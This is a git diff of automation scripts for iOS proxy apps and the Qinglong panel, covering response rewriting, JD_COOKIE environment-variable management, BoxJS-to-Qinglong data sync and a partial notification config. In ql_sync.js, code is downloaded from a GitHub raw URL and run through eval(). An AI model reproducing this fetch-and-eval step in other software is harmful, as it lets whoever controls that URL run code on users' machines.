{ return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { if (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: i, statusCode: r, headers: o, rawBody: h } = t; e(null, { status: i, statusCode: r, headers: o, rawBody: h }, s.decode(h, this.encoding)) }, t => { const { message: i, response: r } = t; e(i, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = (() => { })) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { let i = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...o } = t; this.got[s](r, o).then(t => { const { statusCode: s, statusCode: r, headers: o, rawBody: h } = t; e(null, { status: s, statusCode: r, headers: o, rawBody: h }, i.decode(h, this.encoding)) }, t => { const { message: s, response: r } = t; e(s, r, r && i.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/Scripts/qingju.js b/Scripts/qingju.js new file mode 100644 index 00000000..d29032a5 --- /dev/null +++ b/Scripts/qingju.js @@ -0,0 +1,3 @@ +let obj=JSON.parse($response.body); +delete obj.data.bannerInfoConfig ; +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/qinglong/api.js b/Scripts/qinglong/api.js new file mode 100644 index 00000000..0b8f80e0 --- /dev/null +++ b/Scripts/qinglong/api.js @@ -0,0 +1,265 @@ +'use strict'; + +const got = require('got'); +require('dotenv').config(); +const {readFile} = require('fs/promises'); +const fs = require('fs'); +let fileExists = fs.existsSync('/ql/data/config/auth.json'); +let authFile = ""; +if (fileExists) + authFile = "/ql/data/config/auth.json" +else + authFile = "/ql/config/auth.json" + +const api = got.extend({ + prefixUrl: 'http://127.0.0.1:5600', + retry: {limit: 0}, +}); + +async function getToken() { + const authConfig = JSON.parse(await readFile(authFile)); + return authConfig.token; +} + +module.exports.getEnvsByNameBackUp = async (searchValue) => { + const token = await getToken(); + const body = await api({ + url: 'api/envs', + searchParams: { + searchValue: searchValue, + t: Date.now(), + }, + headers: { + 'Accept': 'application/json', + 'authorization': `Bearer ${token}`, + 'host': '127.0.0.1', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' + }, + }).json(); + return body.data; +}; + +module.exports.getEnvsByName = async (searchValue) => { + const token = await getToken(); + const url = `http://127.0.0.1:5600/api/envs?searchValue=${searchValue}&t=` + Date.now(); + const headers = { + "Accept": "application/json", + "authorization": `Bearer ${token}`, + "Content-Type": "application/json;charset=UTF-8", + "host": "127.0.0.1", + "user-agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" + } + const request = { + method: "get", + headers: headers + } + console.log("url=" + url); + console.log("request=" + JSON.stringify(request)); + fetch(url, request) + .then(response => { + console.log(response.status + "\n\n" + response.statusText); + return response.text(); + }) + .then(body => { + console.log(body); + }) + .catch(error => { + console.log(error); + }); +}; + +module.exports.getEnvsCount = async () => { + const data = await this.getEnvsByName(); + return data.length; +}; + +module.exports.addEnv = async (cookie, remarks) => { + const token = await getToken(); + return await api({ + method: 'post', + url: 'api/envs', + params: {t: Date.now()}, + json: [{ + name: 'JD_COOKIE', + value: cookie, + remarks, + }], + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); +}; + +module.exports.updateEnv = async (value, eid, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs', + params: {t: Date.now()}, + json: { + name: 'JD_COOKIE', + value: value, + _id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.updateEnvByIdBackUp = async (name, value, eid, remarks) => { + const token = await getToken(); + return await api({ + method: 'put', + url: 'api/envs', + params: {t: Date.now()}, + json: { + name: name, + value: value, + id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); +}; + +// id是必传字段,否则青龙会报错 +module.exports.updateEnvById = async (id, name, value, remarks) => { + const token = await getToken(); + const url = "http://127.0.0.1:5600/api/envs?t=" + Date.now(); + const headers = { + "Accept": "application/json", + "authorization": `Bearer ${token}`, + "Content-Type": "application/json;charset=UTF-8", + "host": "127.0.0.1", + "user-agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" + } + const body = { + "id": id, + "name": name, + "value": value, + "remarks": remarks + }; + const request = { + method: "put", + headers: headers, + body: JSON.stringify(body) + } + console.log("request=" + JSON.stringify(request)); + fetch(url, request) + .then(response => { + console.log(response.status + "\n\n" + response.statusText); + return response.text(); + }) + .then(body => { + console.log(body); + }) + .catch(error => { + console.log(error); + }); +}; + +module.exports.DisableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/disable', + params: {t: Date.now()}, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.EnableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/enable', + params: {t: Date.now()}, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.getStatus = async (eid) => { + const envs = await this.getEnvsByName(); + var tempid = 0; + for (let i = 0; i < envs.length; i++) { + tempid = 0; + if (envs[i]._id) { + tempid = envs[i]._id; + } + if (envs[i].id) { + tempid = envs[i].id; + } + if (tempid == eid) { + return envs[i].status; + } + } + return 99; +}; + +module.exports.getEnvById = async (eid) => { + const envs = await this.getEnvsByName(); + var tempid = 0; + for (let i = 0; i < envs.length; i++) { + tempid = 0; + if (envs[i]._id) { + tempid = envs[i]._id; + } + if (envs[i].id) { + tempid = envs[i].id; + } + if (tempid == eid) { + return envs[i].value; + } + } + return ""; +}; + +module.exports.getEnvByPtPin = async (Ptpin) => { + const envs = await this.getEnvsByName(); + for (let i = 0; i < envs.length; i++) { + var tempptpin = decodeURIComponent(envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/) && envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if (tempptpin == Ptpin) { + return envs[i]; + } + } + return ""; +}; + +module.exports.delEnv = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'delete', + url: 'api/envs', + params: {t: Date.now()}, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; diff --git a/Scripts/qinglong/ql_api.js b/Scripts/qinglong/ql_api.js new file mode 100644 index 00000000..ae8f4cd8 --- /dev/null +++ b/Scripts/qinglong/ql_api.js @@ -0,0 +1,141 @@ +$.ql = { + type: 'api', + headers: { + 'Content-Type': `application/json;charset=UTF-8`, + Authorization: '', + }, + disabled(ids) { + if (!this.headers.Authorization) return; + const opt = { + url: `${$.ql_url}/${this.type}/envs/disable`, + headers: this.headers, + body: JSON.stringify(ids), + }; + return $.http.put(opt).then((response) => JSON.parse(response.body)); + }, + enabled(ids) { + if (!this.headers.Authorization) return; + const opt = { + url: `${$.ql_url}/${this.type}/envs/enable`, + headers: this.headers, + body: JSON.stringify(ids), + }; + return $.http.put(opt).then((response) => JSON.parse(response.body)); + }, + delete(ids) { + if (!this.headers.Authorization) return; + const opt = { + url: `${$.ql_url}/${this.type}/envs`, + headers: this.headers, + body: JSON.stringify(ids), + }; + return $.http.delete(opt).then((response) => JSON.parse(response.body)); + }, + add(records) { + if (!this.headers.Authorization) return; + const opt = { + url: `${$.ql_url}/${this.type}/envs`, + headers: this.headers, + body: JSON.stringify(records), + }; + return $.http.post(opt).then((response) => JSON.parse(response.body)); + }, + edit(records) { + if (!this.headers.Authorization) return; + const opt = { + url: `${$.ql_url}/${this.type}/envs`, + headers: this.headers, + body: JSON.stringify(records), + }; + return $.http.put(opt).then((response) => JSON.parse(response.body)); + }, + select(searchValue) { + if (!this.headers.Authorization) return; + const opt = { + url: `${$.ql_url}/${this.type}/envs?searchValue=${searchValue}`, + headers: this.headers, + }; + return $.http.get(opt).then((response) => JSON.parse(response.body)); + }, + initial: () => { + $.ql_url = $.ql_config.ip; + if ($.ql_url && !$.ql_url.match(/^(http|https)/)) + $.ql_url = `http://${$.ql_url}`; + + $.application = { + client_id: $.ql_config.client_id, + client_secret: $.ql_config.client_secret, + }; + + $.ql_account = { + username: $.ql_config.username, + password: $.ql_config.password, + }; + }, +}; + +try { + $.ql_config = JSON.parse($.read('#ql')); +} catch (e) { + $.ql_config = {}; +} + +$.ql.initial(); + +$.log(`地址:${$.ql_url}`); + +function noReady() { + $.ql = false; + $.log('请配置好相关信息'); +} + +if ($.ql_config.is_pwd === 'true') { + if ($.ql_account.username && $.ql_account.password) { + $.ql.login = async () => { + const options = { + url: `${$.ql_url}/api/user/login`, + body: JSON.stringify($.ql_account), + headers: { + 'Content-Type': `application/json;charset=UTF-8`, + }, + }; + + let response = await $.http.post(options); + response = JSON.parse(response.body); + if (response.code === 200) { + $.ql.type = 'api'; + $.ql.headers.Authorization = `Bearer ${response.data.token}`; + $.log(`登陆成功:${response.data.lastaddr}`); + $.log(`ip:${response.data.lastip}`); + } else { + $.log(response); + $.log(`登陆失败:${response.message}`); + } + }; + } else { + noReady(); + } +} else { + if ($.application.client_id && $.application.client_secret) { + $.ql.login = async () => { + const options = { + url: `${$.ql_url}/open/auth/token?client_id=${$.application.client_id}&client_secret=${$.application.client_secret}`, + headers: { + 'Content-Type': `application/json;charset=UTF-8`, + }, + }; + let response = await $.http.get(options); + response = JSON.parse(response.body); + if (response.code === 200) { + $.ql.type = 'open'; + $.ql.headers.Authorization = `Bearer ${response.data.token}`; + $.log(`登陆成功`); + } else { + $.log(response); + $.log(`登陆失败:${response.message}`); + } + }; + } else { + noReady(); + } +} diff --git a/Scripts/qinglong/ql_sync.js b/Scripts/qinglong/ql_sync.js new file mode 100644 index 00000000..8a1b6f1c --- /dev/null +++ b/Scripts/qinglong/ql_sync.js @@ -0,0 +1,413 @@ +/** + * 作者:fmz200,修改自dompling的ql_cookie_sync.js + * 作用:定时同步BoxJS中的数据到青龙环境变量,每日自动同步 + * 配置:40 0 * * * https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/qinglong/ql_sync.js + * 定时:QX导入订阅 https://raw.githubusercontent.com/fmz200/wool_scripts/main/boxjs/fmz200_gallery.json + * 使用:详见BoxJS页面 https://raw.githubusercontent.com/fmz200/wool_scripts/main/boxjs/fmz200.boxjs.json + * 更新:2023-06-04 13:30 + */ + +const $ = new API('ql', true); + +const title = '🐉 同步通知'; + +const sync_keys = $.read('#ql_sync_keys').replace(/\s/g, '').split(',') || []; +if (sync_keys.length === 0) { + $.notify(title, '', `未填写需要同步的keys,请在BoxJS填写正确`); + $.done(); +} + +let remark = {}; + +!(async () => { + // 只登陆一次 + const ql_script = (await getScriptUrl()) || ''; + eval(ql_script); + await $.ql.login(); + // 开始同步数据 + for await (const key of sync_keys) { + await autoSync(key); + } + const keyText = sync_keys.map((item) => item).join(`\n`); + if ($.read('ql_sync_notify') !== 'true') { + $.notify(title, '', `已同步以下keys的数据:\n${keyText}`); + } + $.done(); +})(); + +async function autoSync(key_remark) { + $.log(`--------------------`); + try { + // key可能包含两部分:key@remark + let key; + let remark; + if (key_remark.includes('@')) { + [key, remark] = key_remark.split('@'); + } else { + key = key_remark; + remark = 'BoxJS同步的数据'; // 如果没有备注,可以设置为 null 或其他默认值 + } + const values = await $.ql.select(key); // 同一个key可能有多个值,暂时只做一个的同步 + await $.ql.delete(values.data.map((item) => item.id)); + $.log(`已清空${key}的数据`); + + const addData = []; + const key_value = $.read(`#${key}`); + $.log(`已读取${key}的数据`); + addData.push({name: key, value: key_value, remarks: remark}); + if (addData.length) await $.ql.add(addData); + $.log(`已同步${key}的数据`); + } catch (e) { + $.log(`同步${key_remark}的数据时发生错误:` + JSON.stringify(e)); + } + $.log(`--------------------`); +} + +async function getScriptUrl() { + const response = await $.http.get({ + url: 'https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/qinglong/ql_api.js', + }); + return response.body; +} + +function getURL(api, key = 'api') { + return `${baseURL}/${key}/${api}`; +} + +function login() { + const opt = { + headers, + url: getURL('login'), + body: JSON.stringify(account), + }; + return $.http.post(opt).then((response) => JSON.parse(response.body)); +} + +/////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +function ENV() { + const isQX = typeof $task !== 'undefined'; + const isLoon = typeof $loon !== 'undefined'; + const isSurge = typeof $httpClient !== 'undefined' && !isLoon; + const isJSBox = typeof require == 'function' && typeof $jsbox != 'undefined'; + const isNode = typeof require == 'function' && !isJSBox; + const isRequest = typeof $request !== 'undefined'; + const isScriptable = typeof importModule !== 'undefined'; + return {isQX, isLoon, isSurge, isNode, isJSBox, isRequest, isScriptable}; +} + +function HTTP(defaultOptions = {baseURL: ''}) { + const {isQX, isLoon, isSurge, isScriptable, isNode} = ENV(); + const methods = ['GET', 'POST', 'PUT', 'DELETE', 'HEAD', 'OPTIONS', 'PATCH']; + const URL_REGEX = + /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)/; + + function send(method, options) { + options = typeof options === 'string' ? {url: options} : options; + const baseURL = defaultOptions.baseURL; + if (baseURL && !URL_REGEX.test(options.url || '')) { + options.url = baseURL ? baseURL + options.url : options.url; + } + options = {...defaultOptions, ...options}; + const timeout = options.timeout; + const events = { + ...{ + onRequest: () => { + }, + onResponse: (resp) => resp, + onTimeout: () => { + }, + }, + ...options.events, + }; + + events.onRequest(method, options); + + let worker; + if (isQX) { + worker = $task.fetch({method, ...options}); + } else if (isLoon || isSurge || isNode) { + worker = new Promise((resolve, reject) => { + const request = isNode ? require('request') : $httpClient; + request[method.toLowerCase()](options, (err, response, body) => { + if (err) reject(err); + else + resolve({ + statusCode: response.status || response.statusCode, + headers: response.headers, + body, + }); + }); + }); + } else if (isScriptable) { + const request = new Request(options.url); + request.method = method; + request.headers = options.headers; + request.body = options.body; + worker = new Promise((resolve, reject) => { + request + .loadString() + .then((body) => { + resolve({ + statusCode: request.response.statusCode, + headers: request.response.headers, + body, + }); + }) + .catch((err) => reject(err)); + }); + } + + let timeoutid; + const timer = timeout + ? new Promise((_, reject) => { + timeoutid = setTimeout(() => { + events.onTimeout(); + return reject( + `${method} URL: ${options.url} exceeds the timeout ${timeout} ms` + ); + }, timeout); + }) + : null; + + return ( + timer + ? Promise.race([timer, worker]).then((res) => { + clearTimeout(timeoutid); + return res; + }) + : worker + ).then((resp) => events.onResponse(resp)); + } + + const http = {}; + methods.forEach( + (method) => + (http[method.toLowerCase()] = (options) => send(method, options)) + ); + return http; +} + +function API(name = 'untitled', debug = false) { + const {isQX, isLoon, isSurge, isNode, isJSBox, isScriptable} = ENV(); + return new (class { + constructor(name, debug) { + this.name = name; + this.debug = debug; + + this.http = HTTP(); + this.env = ENV(); + + this.node = (() => { + if (isNode) { + const fs = require('fs'); + + return { + fs, + }; + } else { + return null; + } + })(); + this.initCache(); + + const delay = (t, v) => + new Promise(function (resolve) { + setTimeout(resolve.bind(null, v), t); + }); + + Promise.prototype.delay = function (t) { + return this.then(function (v) { + return delay(t, v); + }); + }; + } + + // persistance + + // initialize cache + initCache() { + if (isQX) this.cache = JSON.parse($prefs.valueForKey(this.name) || '{}'); + if (isLoon || isSurge) + this.cache = JSON.parse($persistentStore.read(this.name) || '{}'); + + if (isNode) { + // create a json for root cache + let fpath = 'root.json'; + if (!this.node.fs.existsSync(fpath)) { + this.node.fs.writeFileSync( + fpath, + JSON.stringify({}), + {flag: 'wx'}, + (err) => console.log(err) + ); + } + this.root = {}; + + // create a json file with the given name if not exists + fpath = `${this.name}.json`; + if (!this.node.fs.existsSync(fpath)) { + this.node.fs.writeFileSync( + fpath, + JSON.stringify({}), + {flag: 'wx'}, + (err) => console.log(err) + ); + this.cache = {}; + } else { + this.cache = JSON.parse( + this.node.fs.readFileSync(`${this.name}.json`) + ); + } + } + } + + // store cache + persistCache() { + const data = JSON.stringify(this.cache); + if (isQX) $prefs.setValueForKey(data, this.name); + if (isLoon || isSurge) $persistentStore.write(data, this.name); + if (isNode) { + this.node.fs.writeFileSync( + `${this.name}.json`, + data, + {flag: 'w'}, + (err) => console.log(err) + ); + this.node.fs.writeFileSync( + 'root.json', + JSON.stringify(this.root), + {flag: 'w'}, + (err) => console.log(err) + ); + } + } + + write(data, key) { + this.log(`SET ${key}`); + if (key.indexOf('#') !== -1) { + key = key.substr(1); + if (isSurge || isLoon) { + return $persistentStore.write(data, key); + } + if (isQX) { + return $prefs.setValueForKey(data, key); + } + if (isNode) { + this.root[key] = data; + } + } else { + this.cache[key] = data; + } + this.persistCache(); + } + + read(key) { + this.log(`READ ${key}`); + if (key.indexOf('#') !== -1) { + key = key.substr(1); + if (isSurge || isLoon) { + return $persistentStore.read(key); + } + if (isQX) { + return $prefs.valueForKey(key); + } + if (isNode) { + return this.root[key]; + } + } else { + return this.cache[key]; + } + } + + delete(key) { + this.log(`DELETE ${key}`); + if (key.indexOf('#') !== -1) { + key = key.substr(1); + if (isSurge || isLoon) { + return $persistentStore.write(null, key); + } + if (isQX) { + return $prefs.removeValueForKey(key); + } + if (isNode) { + delete this.root[key]; + } + } else { + delete this.cache[key]; + } + this.persistCache(); + } + + // notification + notify(title, subtitle = '', content = '', options = {}) { + const openURL = options['open-url']; + const mediaURL = options['media-url']; + + if (isQX) $notify(title, subtitle, content, options); + if (isSurge) { + $notification.post( + title, + subtitle, + content + `${mediaURL ? '\n多媒体:' + mediaURL : ''}`, + { + url: openURL, + } + ); + } + if (isLoon) { + let opts = {}; + if (openURL) opts['openUrl'] = openURL; + if (mediaURL) opts['mediaUrl'] = mediaURL; + if (JSON.stringify(opts) == '{}') { + $notification.post(title, subtitle, content); + } else { + $notification.post(title, subtitle, content, opts); + } + } + if (isNode || isScriptable) { + const content_ = + content + + (openURL ? `\n点击跳转: ${openURL}` : '') + + (mediaURL ? `\n多媒体: ${mediaURL}` : ''); + if (isJSBox) { + const push = require('push'); + push.schedule({ + title: title, + body: (subtitle ? subtitle + '\n' : '') + content_, + }); + } else { + console.log(`${title}\n${subtitle}\n${content_}\n\n`); + } + } + } + + // other helper functions + log(msg) { + if (this.debug) console.log(msg); + } + + info(msg) { + console.log(msg); + } + + error(msg) { + console.log('ERROR: ' + msg); + } + + wait(millisec) { + return new Promise((resolve) => setTimeout(resolve, millisec)); + } + + done(value = {}) { + if (isQX || isLoon || isSurge) { + $done(value); + } else if (isNode && !isJSBox) { + if (typeof $context !== 'undefined') { + $context.headers = value.headers; + $context.statusCode = value.statusCode; + $context.body = value.body; + } + } + } + })(name, debug); +} diff --git a/Scripts/qinglong/readme.md b/Scripts/qinglong/readme.md new file mode 100644 index 00000000..bc30dde6 --- /dev/null +++ b/Scripts/qinglong/readme.md @@ -0,0 +1,4 @@ + +## 青龙脚本 + + diff --git a/Scripts/qinglong/sendNotify.js b/Scripts/qinglong/sendNotify.js new file mode 100644 index 00000000..4074c136 --- /dev/null +++ b/Scripts/qinglong/sendNotify.js @@ -0,0 +1,2313 @@ +/* + * @Author: ccwav https://github.com/ccwav/QLScript2 + + * sendNotify 推送通知功能 (text, desp, params , author , strsummary) + * @param text 通知标题 (必要) + * @param desp 通知内容 (必要) + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } ,没啥用,只是为了兼容旧脚本保留 (非必要) + * @param author 通知底部作者` (非必要) + * @param strsummary 指定某些微信模板通知的预览信息,空则默认为desp (非必要) + + * sendNotifybyWxPucher 一对一推送通知功能 (text, desp, PtPin, author, strsummary ) + * @param text 通知标题 (必要) + * @param desp 通知内容 (必要) + * @param PtPin CK的PTPIN (必要) + * @param author 通知底部作者` (非必要) + * @param strsummary 指定某些微信模板通知的预览信息,空则默认为desp (非必要) + + */ +//详细说明参考 https://github.com/ccwav/QLScript2. +const querystring = require('querystring'); +const exec = require('child_process').exec; +const $ = new Env(); +const timeout = 15000; //超时时间(单位毫秒) +console.log("加载sendNotify,当前版本: 20230712"); +// =======================================go-cqhttp通知设置区域=========================================== +//gobot_url 填写请求地址http://127.0.0.1/send_private_msg +//gobot_token 填写在go-cqhttp文件设置的访问密钥 +//gobot_qq 填写推送到个人QQ或者QQ群号 +//go-cqhttp相关API https://docs.go-cqhttp.org/api +let GOBOT_URL = ''; // 推送到个人QQ: http://127.0.0.1/send_private_msg 群:http://127.0.0.1/send_group_msg +let GOBOT_TOKEN = ''; //访问密钥 +let GOBOT_QQ = ''; // 如果GOBOT_URL设置 /send_private_msg 则需要填入 user_id=个人QQ 相反如果是 /send_group_msg 则需要填入 group_id=QQ群 + +// =======================================微信server酱通知设置区域=========================================== +//此处填你申请的SCKEY. +//(环境变量名 PUSH_KEY) +let SCKEY = ''; + +// =======================================Bark App通知设置区域=========================================== +//此处填你BarkAPP的信息(IP/设备码,例如:https://api.day.app/XXXXXXXX) +let BARK_PUSH = ''; +//BARK app推送铃声,铃声列表去APP查看复制填写 +let BARK_SOUND = ''; +//BARK app推送消息的分组, 默认为"QingLong" +let BARK_GROUP = 'QingLong'; + +// =======================================telegram机器人通知设置区域=========================================== +//此处填你telegram bot 的Token,telegram机器人通知推送必填项.例如:1077xxx4424:AAFjv0FcqxxxxxxgEMGfi22B4yh15R5uw +//(环境变量名 TG_BOT_TOKEN) +let TG_BOT_TOKEN = ''; +//此处填你接收通知消息的telegram用户的id,telegram机器人通知推送必填项.例如:129xxx206 +//(环境变量名 TG_USER_ID) +let TG_USER_ID = ''; +//tg推送HTTP代理设置(不懂可忽略,telegram机器人通知推送功能中非必填) +let TG_PROXY_HOST = ''; //例如:127.0.0.1(环境变量名:TG_PROXY_HOST) +let TG_PROXY_PORT = ''; //例如:1080(环境变量名:TG_PROXY_PORT) +let TG_PROXY_AUTH = ''; //tg代理配置认证参数 +//Telegram api自建的反向代理地址(不懂可忽略,telegram机器人通知推送功能中非必填),默认tg官方api(环境变量名:TG_API_HOST) +let TG_API_HOST = 'api.telegram.org'; +// =======================================钉钉机器人通知设置区域=========================================== +//此处填你钉钉 bot 的webhook,例如:5a544165465465645d0f31dca676e7bd07415asdasd +//(环境变量名 DD_BOT_TOKEN) +let DD_BOT_TOKEN = ''; +//密钥,机器人安全设置页面,加签一栏下面显示的SEC开头的字符串 +let DD_BOT_SECRET = ''; + +// =======================================企业微信机器人通知设置区域=========================================== +//此处填你企业微信机器人的 webhook(详见文档 https://work.weixin.qq.com/api/doc/90000/90136/91770),例如:693a91f6-7xxx-4bc4-97a0-0ec2sifa5aaa +//(环境变量名 QYWX_KEY) +let QYWX_KEY = ''; + +// =======================================企业微信应用消息通知设置区域=========================================== +/* +此处填你企业微信应用消息的值(详见文档 https://work.weixin.qq.com/api/doc/90000/90135/90236) +环境变量名 QYWX_AM依次填入 corpid,corpsecret,touser(注:多个成员ID使用|隔开),agentid,消息类型(选填,不填默认文本消息类型) 